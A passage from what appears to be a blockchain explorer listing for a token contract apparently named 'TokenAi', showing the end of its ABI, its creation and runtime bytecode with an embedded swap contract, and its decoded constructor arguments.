tractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ispair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"contract MktCap","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"unSetPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040516200281d3803806200281d833981016040819052620000349162000770565b604080518082019091526007815266546f6b656e416960c81b60208201526003906200006190826200084d565b50604080518082019091526007815266546f6b656e416960c81b60208201526004906200008f90826200084d565b506200009b33620001b8565b60088054336001600160a01b03199182161790915560098054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17905573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2620000ef816200020a565b6008546009546040516001600160a01b039283169230928592911690620001169062000745565b6001600160a01b039485168152928416602084015290831660408301529091166060820152608001604051809103906000f0801580156200015b573d6000803e3d6000fd5b50600680546001600160a01b0319166001600160a01b03929092169190911790556200018b83836000196200045d565b600854620001af906001600160a01b03166b204fce5e3e250261100000006200051d565b50505062000966565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6009546040805163c45a015560e01b815290516001600160a01b0390921691600091839163c45a0155916004808201926020929091908290030181865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000280919062000919565b60405163e6a4390560e01b81526001600160a01b038581166004830152306024830152919091169063e6a43905906044016020604051808303816000875af1158015620002d1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f7919062000919565b90506001600160a01b038116620003e757816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000347573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036d919062000919565b6040516364e329cb60e11b81526001600160a01b038581166004830152306024830152919091169063c9c65396906044016020604051808303816000875af1158015620003be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e4919062000919565b90505b6001600160a01b038116620004375760405162461bcd60e51b81526020600482015260116024820152701c185a5c881a5cc81b9bdd08199bdd5b99607a1b60448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff191660011790555050565b6001600160a01b038316620004a45760405162461bcd60e51b815260206004820152601f6024820152600080516020620027fd83398151915260448201526064016200042e565b6001600160a01b038216620004eb5760405162461bcd60e51b815260206004820152601f6024820152600080516020620027fd83398151915260448201526064016200042e565b620004f960008483620005eb565b6001600160a01b039092166000908152602081905260409020805490920190915550565b6001600160a01b038216620005645760405162461bcd60e51b815260206004820152601f6024820152600080516020620027fd83398151915260448201526064016200042e565b6200057260008383620005eb565b80600260008282546200058691906200093e565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620005e760008383620006e5565b5050565b600954600160a01b900460ff16156200060357505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831660009081526007602052604090205460ff161580156200065957506001600160a01b03821660009081526007602052604090205460ff16155b8062000663575080155b620006d357600660009054906101000a90046001600160a01b03166001600160a01b0316637fec8d386040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620006b957600080fd5b505af1158015620006ce573d6000803e3d6000fd5b505050505b50506009805460ff60a01b1916905550565b600954600160a01b900460ff1615620006fd57505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831615806200072e57506001600160a01b038216155b620006d35750506009805460ff60a01b1916905550565b610bca8062001c3383390190565b80516001600160a01b03811681146200076b57600080fd5b919050565b600080604083850312156200078457600080fd5b6200078f8362000753565b91506200079f6020840162000753565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620007d357607f821691505b602082108103620007f457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200084857600081815260208120601f850160051c81016020861015620008235750805b601f850160051c820191505b8181101562000844578281556001016200082f565b5050505b505050565b81516001600160401b03811115620008695762000869620007a8565b62000881816200087a8454620007be565b84620007fa565b602080601f831160018114620008b95760008415620008a05750858301515b600019600386901b1c1916600185901b17855562000844565b600085815260208120601f198616915b82811015620008ea57888601518255948401946001909101908401620008c9565b5085821015620009095787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200092c57600080fd5b620009378262000753565b9392505050565b808201808211156200096057634e487b7160e01b600052601160045260246000fd5b92915050565b6112bd80620009766000396000f3fe60806040526004361061012e5760003560e01c806379cc6790116100ab578063a457c2d71161006f578063a457c2d714610342578063a9059cbb14610362578063d0679d3414610382578063dd62ed3e146103a2578063f2fde38b146103c2578063fc6daaaa146103e257600080fd5b806379cc6790146102975780637cc5b1e6146102b75780638187f516146102ef5780638da5cb5b1461030f57806395d89b411461032d57600080fd5b806339509351116100f257806339509351146101f057806342966c68146102105780636accdf941461023257806370a0823114610262578063715018a61461028257600080fd5b806306fdde031461013a578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b4578063313ce567146101d457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610402565b60405161015c91906110a7565b60405180910390f35b34801561017157600080fd5b5061018561018036600461110a565b610494565b604051901515815260200161015c565b3480156101a157600080fd5b506002545b60405190815260200161015c565b3480156101c057600080fd5b506101856101cf366004611136565b6104ae565b3480156101e057600080fd5b506040516012815260200161015c565b3480156101fc57600080fd5b5061018561020b36600461110a565b6104d2565b34801561021c57600080fd5b5061023061022b366004611177565b6104f4565b005b34801561023e57600080fd5b5061018561024d366004611190565b60076020526000908152604090205460ff1681565b34801561026e57600080fd5b506101a661027d366004611190565b610501565b34801561028e57600080fd5b5061023061051f565b3480156102a357600080fd5b506102306102b236600461110a565b610533565b3480156102c357600080fd5b506006546102d7906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156102fb57600080fd5b5061023061030a366004611190565b61054c565b34801561031b57600080fd5b506005546001600160a01b03166102d7565b34801561033957600080fd5b5061014f610791565b34801561034e57600080fd5b5061018561035d36600461110a565b6107a0565b34801561036e57600080fd5b5061018561037d36600461110a565b61081b565b34801561038e57600080fd5b5061023061039d36600461110a565b610829565b3480156103ae57600080fd5b506101a66103bd3660046111b4565b610948565b3480156103ce57600080fd5b506102306103dd366004611190565b610973565b3480156103ee57600080fd5b506102306103fd366004611190565b6109e9565b606060038054610411906111ed565b80601f016020809104026020016040519081016040528092919081815260200182805461043d906111ed565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b6000336104a2818585610a12565b60019150505b92915050565b6000336104bc858285610b36565b6104c7858585610bb0565b506001949350505050565b6000336104a28185856104e58383610948565b6104ef9190611227565b610a12565b6104fe3382610d65565b50565b6001600160a01b0381166000908152602081905260408120546104a8565b610527610eaa565b6105316000610f04565b565b61053e823383610b36565b6105488282610d65565b5050565b6009546040805163c45a015560e01b815290516001600160a01b0390921691600091839163c45a0155916004808201926020929091908290030181865afa15801561059b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bf9190611248565b60405163e6a4390560e01b81526001600160a01b038581166004830152306024830152919091169063e6a43905906044016020604051808303816000875af115801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190611248565b90506001600160a01b03811661071c57816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190611248565b6040516364e329cb60e11b81526001600160a01b038581166004830152306024830152919091169063c9c65396906044016020604051808303816000875af11580156106f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107199190611248565b90505b6001600160a01b03811661076b5760405162461bcd60e51b81526020600482015260116024820152701c185a5c881a5cc81b9bdd08199bdd5b99607a1b60448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff191660011790555050565b606060048054610411906111ed565b600033816107ae8286610948565b90508381101561080e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610762565b6104c78286868403610a12565b6000336104a2818585610bb0565b6001600160a01b0382166108d1576008546040516000916001600160a01b03169083908381818185875af1925050503d8060008114610884576040519150601f19603f3d011682016040523d82523d6000602084013e610889565b606091505b50509050806108cc5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b6044820152606401610762565b505050565b60085460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610924573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cc9190611265565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61097b610eaa565b6001600160a01b0381166109e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610762565b6104fe81610f04565b6109f1610eaa565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6001600160a01b038316610a745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610762565b6001600160a01b038216610ad55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610762565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610b428484610948565b90506000198114610baa5781811015610b9d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610762565b610baa8484848403610a12565b50505050565b6001600160a01b038316610c145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610762565b6001600160a01b038216610c765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610762565b610c81838383610f56565b6001600160a01b03831660009081526020819052604090205481811015610cf95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610762565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610baa84848461104a565b6001600160a01b038216610dc55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610762565b610dd182600083610f56565b6001600160a01b03821660009081526020819052604090205481811015610e455760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610762565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36108cc8360008461104a565b6005546001600160a01b031633146105315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610762565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600954600160a01b900460ff1615610f6d57505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831660009081526007602052604090205460ff16158015610fc257506001600160a01b03821660009081526007602052604090205460ff16155b80610fcb575080155b61103857600660009054906101000a90046001600160a01b03166001600160a01b0316637fec8d386040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561101f57600080fd5b505af1158015611033573d6000803e3d6000fd5b505050505b50506009805460ff60a01b1916905550565b600954600160a01b900460ff161561106157505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b038316158061109157506001600160a01b038216155b6110385750506009805460ff60a01b1916905550565b600060208083528351808285015260005b818110156110d4578581018301518582016040015282016110b8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fe57600080fd5b6000806040838503121561111d57600080fd5b8235611128816110f5565b946020939093013593505050565b60008060006060848603121561114b57600080fd5b8335611156816110f5565b92506020840135611166816110f5565b929592945050506040919091013590565b60006020828403121561118957600080fd5b5035919050565b6000602082840312156111a257600080fd5b81356111ad816110f5565b9392505050565b600080604083850312156111c757600080fd5b82356111d2816110f5565b915060208301356111e2816110f5565b809150509250929050565b600181811c9082168061120157607f821691505b60208210810361122157634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156104a857634e487b7160e01b600052601160045260246000fd5b60006020828403121561125a57600080fd5b81516111ad816110f5565b60006020828403121561127757600080fd5b815180151581146111ad57600080fdfea26469706673582212205993eff60777dcd9660d3dcc5422a4c8068ddf036bda59f48e724e70db4ec1da64736f6c63430008130033608060405234801561001057600080fd5b5060405162000bca38038062000bca833981016040819052610031916101ea565b61003a3361017e565b6100438461017e565b600280546001600160a01b038086166001600160a01b031992831617909255600380548584169083161790556004805492841692909116821781556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa1580156100b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100da919061023e565b60025460035460405163e6a4390560e01b81526001600160a01b039283166004820152908216602482015291169063e6a43905906044016020604051808303816000875af1158015610130573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610154919061023e565b600580546001600160a01b0319166001600160a01b03929092169190911790555061026092505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b03811681146101e557600080fd5b919050565b6000806000806080858703121561020057600080fd5b610209856101ce565b9350610217602086016101ce565b9250610225604086016101ce565b9150610233606086016101ce565b905092959194509250565b60006020828403121561025057600080fd5b610259826101ce565b9392505050565b61095a80620002706000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146100f6578063c4451e3e14610111578063d0679d3414610119578063ddca3f431461012c578063f2fde38b1461013557600080fd5b80634d7ca8ae146100a3578063715018a6146100be57806373fee090146100c85780637fec8d38146100db5780638187f516146100e3575b600080fd5b6100ab610148565b6040519081526020015b60405180910390f35b6100c6610269565b005b6100c66100d63660046106f6565b61027d565b6100c661028a565b6100c66100f136600461072b565b6102ae565b6000546040516001600160a01b0390911681526020016100b5565b6100ab610334565b6100c661012736600461074d565b6103aa565b6100ab60015481565b6100c661014336600461072b565b6104d5565b60408051600280825260608201835260009283929190602083019080368337505060025482519293506001600160a01b03169183915060009061018d5761018d61078d565b6001600160a01b0392831660209182029290920101526003548251911690829060019081106101be576101be61078d565b6001600160a01b0392831660209182029290920101526004805460405163d06ca61f60e01b815292169163d06ca61f9161020491670de0b6b3a7640000918691016107e7565b600060405180830381865afa158015610221573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102499190810190610808565b60018151811061025b5761025b61078d565b602002602001015191505090565b61027161054e565b61027b60006105a8565b565b61028561054e565b600155565b670de0b6b3a764000060015411156102a7576102a76001546105f8565b6000600155565b6102b661054e565b6004805460405163095ea7b360e01b81526001600160a01b0391821692810192909252600019602483015282169063095ea7b3906044016020604051808303816000875af115801561030c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061033091906108c6565b5050565b60408051600280825260608201835260009283929190602083019080368337505060035482519293506001600160a01b0316918391506000906103795761037961078d565b6001600160a01b0392831660209182029290920101526002548251911690829060019081106101be576101be61078d565b6103b261054e565b6001600160a01b03821661045457604051600090339083908381818185875af1925050503d8060008114610402576040519150601f19603f3d011682016040523d82523d6000602084013e610407565b606091505b505090508061044f5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064015b60405180910390fd5b505050565b6001600160a01b03821663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af11580156104b1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044f91906108c6565b6104dd61054e565b6001600160a01b0381166105425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610446565b61054b816105a8565b50565b6000546001600160a01b0316331461027b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610446565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604080516002808252606082018352600092602083019080368337505060025482519293506001600160a01b0316918391506000906106395761063961078d565b6001600160a01b03928316602091820292909201015260035482519116908290600190811061066a5761066a61078d565b6001600160a01b0392831660209182029290920101526004541663791ac9478360008461069f6000546001600160a01b031690565b426040518663ffffffff1660e01b81526004016106c09594939291906108e8565b600060405180830381600087803b1580156106da57600080fd5b505af11580156106ee573d6000803e3d6000fd5b505050505050565b60006020828403121561070857600080fd5b5035919050565b80356001600160a01b038116811461072657600080fd5b919050565b60006020828403121561073d57600080fd5b6107468261070f565b9392505050565b6000806040838503121561076057600080fd5b6107698361070f565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156107dc5781516001600160a01b0316875295820195908201906001016107b7565b509495945050505050565b82815260406020820152600061080060408301846107a3565b949350505050565b6000602080838503121561081b57600080fd5b825167ffffffffffffffff8082111561083357600080fd5b818501915085601f83011261084757600080fd5b81518181111561085957610859610777565b8060051b604051601f19603f8301168101818110858211171561087e5761087e610777565b60405291825284820192508381018501918883111561089c57600080fd5b938501935b828510156108ba578451845293850193928501926108a1565b98975050505050505050565b6000602082840312156108d857600080fd5b8151801515811461074657600080fd5b85815284602082015260a06040820152600061090760a08301866107a3565b6001600160a01b039490941660608301525060800152939250505056fea2646970667358221220c2f06a4354eda26e14463d86c8d7faab3a6172835363903d75eb12ec396838f864736f6c6343000813003345524332303a206d696e7420746f20746865207a65726f206164647265737300000000000000000000000000acc2688b471d0e0ec07ed22108fc07ac65520901000000000000000000000000acc2688b471d0e0ec07ed22108fc07ac65520901

0x60806040526004361061012e5760003560e01c806379cc6790116100ab578063a457c2d71161006f578063a457c2d714610342578063a9059cbb14610362578063d0679d3414610382578063dd62ed3e146103a2578063f2fde38b146103c2578063fc6daaaa146103e257600080fd5b806379cc6790146102975780637cc5b1e6146102b75780638187f516146102ef5780638da5cb5b1461030f57806395d89b411461032d57600080fd5b806339509351116100f257806339509351146101f057806342966c68146102105780636accdf941461023257806370a0823114610262578063715018a61461028257600080fd5b806306fdde031461013a578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b4578063313ce567146101d457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610402565b60405161015c91906110a7565b60405180910390f35b34801561017157600080fd5b5061018561018036600461110a565b610494565b604051901515815260200161015c565b3480156101a157600080fd5b506002545b60405190815260200161015c565b3480156101c057600080fd5b506101856101cf366004611136565b6104ae565b3480156101e057600080fd5b506040516012815260200161015c565b3480156101fc57600080fd5b5061018561020b36600461110a565b6104d2565b34801561021c57600080fd5b5061023061022b366004611177565b6104f4565b005b34801561023e57600080fd5b5061018561024d366004611190565b60076020526000908152604090205460ff1681565b34801561026e57600080fd5b506101a661027d366004611190565b610501565b34801561028e57600080fd5b5061023061051f565b3480156102a357600080fd5b506102306102b236600461110a565b610533565b3480156102c357600080fd5b506006546102d7906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156102fb57600080fd5b5061023061030a366004611190565b61054c565b34801561031b57600080fd5b506005546001600160a01b03166102d7565b34801561033957600080fd5b5061014f610791565b34801561034e57600080fd5b5061018561035d36600461110a565b6107a0565b34801561036e57600080fd5b5061018561037d36600461110a565b61081b565b34801561038e57600080fd5b5061023061039d36600461110a565b610829565b3480156103ae57600080fd5b506101a66103bd3660046111b4565b610948565b3480156103ce57600080fd5b506102306103dd366004611190565b610973565b3480156103ee57600080fd5b506102306103fd366004611190565b6109e9565b606060038054610411906111ed565b80601f016020809104026020016040519081016040528092919081815260200182805461043d906111ed565b801561048a5780601f1061045f5761010080835404028352916020019161048a565b820191906000526020600020905b81548152906001019060200180831161046d57829003601f168201915b5050505050905090565b6000336104a2818585610a12565b60019150505b92915050565b6000336104bc858285610b36565b6104c7858585610bb0565b506001949350505050565b6000336104a28185856104e58383610948565b6104ef9190611227565b610a12565b6104fe3382610d65565b50565b6001600160a01b0381166000908152602081905260408120546104a8565b610527610eaa565b6105316000610f04565b565b61053e823383610b36565b6105488282610d65565b5050565b6009546040805163c45a015560e01b815290516001600160a01b0390921691600091839163c45a0155916004808201926020929091908290030181865afa15801561059b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bf9190611248565b60405163e6a4390560e01b81526001600160a01b038581166004830152306024830152919091169063e6a43905906044016020604051808303816000875af115801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190611248565b90506001600160a01b03811661071c57816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190611248565b6040516364e329cb60e11b81526001600160a01b038581166004830152306024830152919091169063c9c65396906044016020604051808303816000875af11580156106f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107199190611248565b90505b6001600160a01b03811661076b5760405162461bcd60e51b81526020600482015260116024820152701c185a5c881a5cc81b9bdd08199bdd5b99607a1b60448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff191660011790555050565b606060048054610411906111ed565b600033816107ae8286610948565b90508381101561080e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610762565b6104c78286868403610a12565b6000336104a2818585610bb0565b6001600160a01b0382166108d1576008546040516000916001600160a01b03169083908381818185875af1925050503d8060008114610884576040519150601f19603f3d011682016040523d82523d6000602084013e610889565b606091505b50509050806108cc5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b6044820152606401610762565b505050565b60085460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610924573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cc9190611265565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61097b610eaa565b6001600160a01b0381166109e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610762565b6104fe81610f04565b6109f1610eaa565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6001600160a01b038316610a745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610762565b6001600160a01b038216610ad55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610762565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610b428484610948565b90506000198114610baa5781811015610b9d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610762565b610baa8484848403610a12565b50505050565b6001600160a01b038316610c145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610762565b6001600160a01b038216610c765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610762565b610c81838383610f56565b6001600160a01b03831660009081526020819052604090205481811015610cf95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610762565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610baa84848461104a565b6001600160a01b038216610dc55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610762565b610dd182600083610f56565b6001600160a01b03821660009081526020819052604090205481811015610e455760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610762565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36108cc8360008461104a565b6005546001600160a01b031633146105315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610762565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600954600160a01b900460ff1615610f6d57505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831660009081526007602052604090205460ff16158015610fc257506001600160a01b03821660009081526007602052604090205460ff16155b80610fcb575080155b61103857600660009054906101000a90046001600160a01b03166001600160a01b0316637fec8d386040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561101f57600080fd5b505af1158015611033573d6000803e3d6000fd5b505050505b50506009805460ff60a01b1916905550565b600954600160a01b900460ff161561106157505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b038316158061109157506001600160a01b038216155b6110385750506009805460ff60a01b1916905550565b600060208083528351808285015260005b818110156110d4578581018301518582016040015282016110b8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104fe57600080fd5b6000806040838503121561111d57600080fd5b8235611128816110f5565b946020939093013593505050565b60008060006060848603121561114b57600080fd5b8335611156816110f5565b92506020840135611166816110f5565b929592945050506040919091013590565b60006020828403121561118957600080fd5b5035919050565b6000602082840312156111a257600080fd5b81356111ad816110f5565b9392505050565b600080604083850312156111c757600080fd5b82356111d2816110f5565b915060208301356111e2816110f5565b809150509250929050565b600181811c9082168061120157607f821691505b60208210810361122157634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156104a857634e487b7160e01b600052601160045260246000fd5b60006020828403121561125a57600080fd5b81516111ad816110f5565b60006020828403121561127757600080fd5b815180151581146111ad57600080fdfea26469706673582212205993eff60777dcd9660d3dcc5422a4c8068ddf036bda59f48e724e70db4ec1da64736f6c63430008130033

000000000000000000000000acc2688b471d0e0ec07ed22108fc07ac65520901000000000000000000000000acc2688b471d0e0ec07ed22108fc07ac65520901

-----Decoded View---------------
Arg [0] : mking (address): 0xacC2688B471D0E0eC07ED22108fC07ac65520901
Arg [1] : router (address): 0xacC2688B471D0E0eC07ED22108fC07ac65520901

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000acc2688b471d0e0ec07ed22108fc07ac65520901
Arg [1] : 000000000000000000000000acc2688b471d0e0ec07ed22108fc07ac65520901

